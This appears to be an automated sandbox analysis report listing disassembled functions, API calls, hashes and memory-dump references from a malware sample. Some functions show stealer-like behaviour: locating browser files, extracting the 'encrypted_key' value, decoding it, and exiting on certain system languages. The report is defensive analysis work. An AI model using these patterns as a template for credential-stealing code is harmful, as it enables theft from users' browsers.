Opcode Fuzzy Hash: 3b2fb80dd84088148c446678eddee0a03bd0bc5fdb9434d66c20dcddb36f4860
Instruction Fuzzy Hash: 9AC1B5B590020D9BCB15EF60DCC9FEA7778BF64304F104598F50AAB241EB70AA85DF91

Function 00334280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 003342EC
lstrcat.KERNEL32(?,00F2E368), ref: 0033430B
lstrcat.KERNEL32(?,?), ref: 0033431F
lstrcat.KERNEL32(?,00F2D4A8), ref: 00334333

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 00338D90: GetFileAttributesA.KERNEL32(00000000,?,00321B54,?,?,0034564C,?,?,00340E1F), ref: 00338D9F

Part of subcall function 00329CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00329D39

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Part of subcall function 003393C0: GlobalAlloc.KERNEL32(00000000,003343DD,003343DD), ref: 003393D3

StrStrA.SHLWAPI(?,00F2E440), ref: 003343F3
GlobalFree.KERNEL32(?), ref: 00334512

Part of subcall function 00329AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329AEF
Part of subcall function 00329AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00324EEE,00000000,?), ref: 00329B01
Part of subcall function 00329AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329B2A
Part of subcall function 00329AC0: LocalFree.KERNEL32(?,?,?,?,00324EEE,00000000,?), ref: 00329B3F

lstrcat.KERNEL32(?,00000000), ref: 003344A3
StrCmpCA.SHLWAPI(?,003408D1), ref: 003344C0
lstrcat.KERNEL32(00000000,00000000), ref: 003344D2
lstrcat.KERNEL32(00000000,?), ref: 003344E5
lstrcat.KERNEL32(00000000,00340FB8), ref: 003344F4

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 2a01af7e9c12cfbbbda770d96d32f03ac6a3c7fd01063e67ce5f2fb6e4484adc
Instruction ID: ceb95460043ba1ba3bf257fb8fcd56b7646490368913e93d30695e5302954231
Opcode Fuzzy Hash: 2a01af7e9c12cfbbbda770d96d32f03ac6a3c7fd01063e67ce5f2fb6e4484adc
Instruction Fuzzy Hash: 837187B6900218ABDB15EBA4DCC5FEE7378AF58300F004598F605AB181EA75EB49DF91

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

z, xrefs: 6C6CA6AE
0, xrefs: 6C6CA5FB

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 00336770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00336774
ExitProcess.KERNEL32 ref: 003367A5
ExitProcess.KERNEL32 ref: 003367AF
ExitProcess.KERNEL32 ref: 003367B9
ExitProcess.KERNEL32 ref: 003367C3
ExitProcess.KERNEL32 ref: 003367CD

Strings

*, xrefs: 0033678C

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f9f49109396f8f7fc96239fa06fa8de3d51f4aec50a465a5d4e6443a7a818f82
Instruction ID: f7bbfbf21370e7acbe7af8ece43e098bf5eadc3ff848ccac76edfc9e77fe8c10
Opcode Fuzzy Hash: f9f49109396f8f7fc96239fa06fa8de3d51f4aec50a465a5d4e6443a7a818f82
Instruction Fuzzy Hash: B3F05E30904209EFD3449FE8E90A72C7B74FB14703F044198E609A7390D6B04B42AF96

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
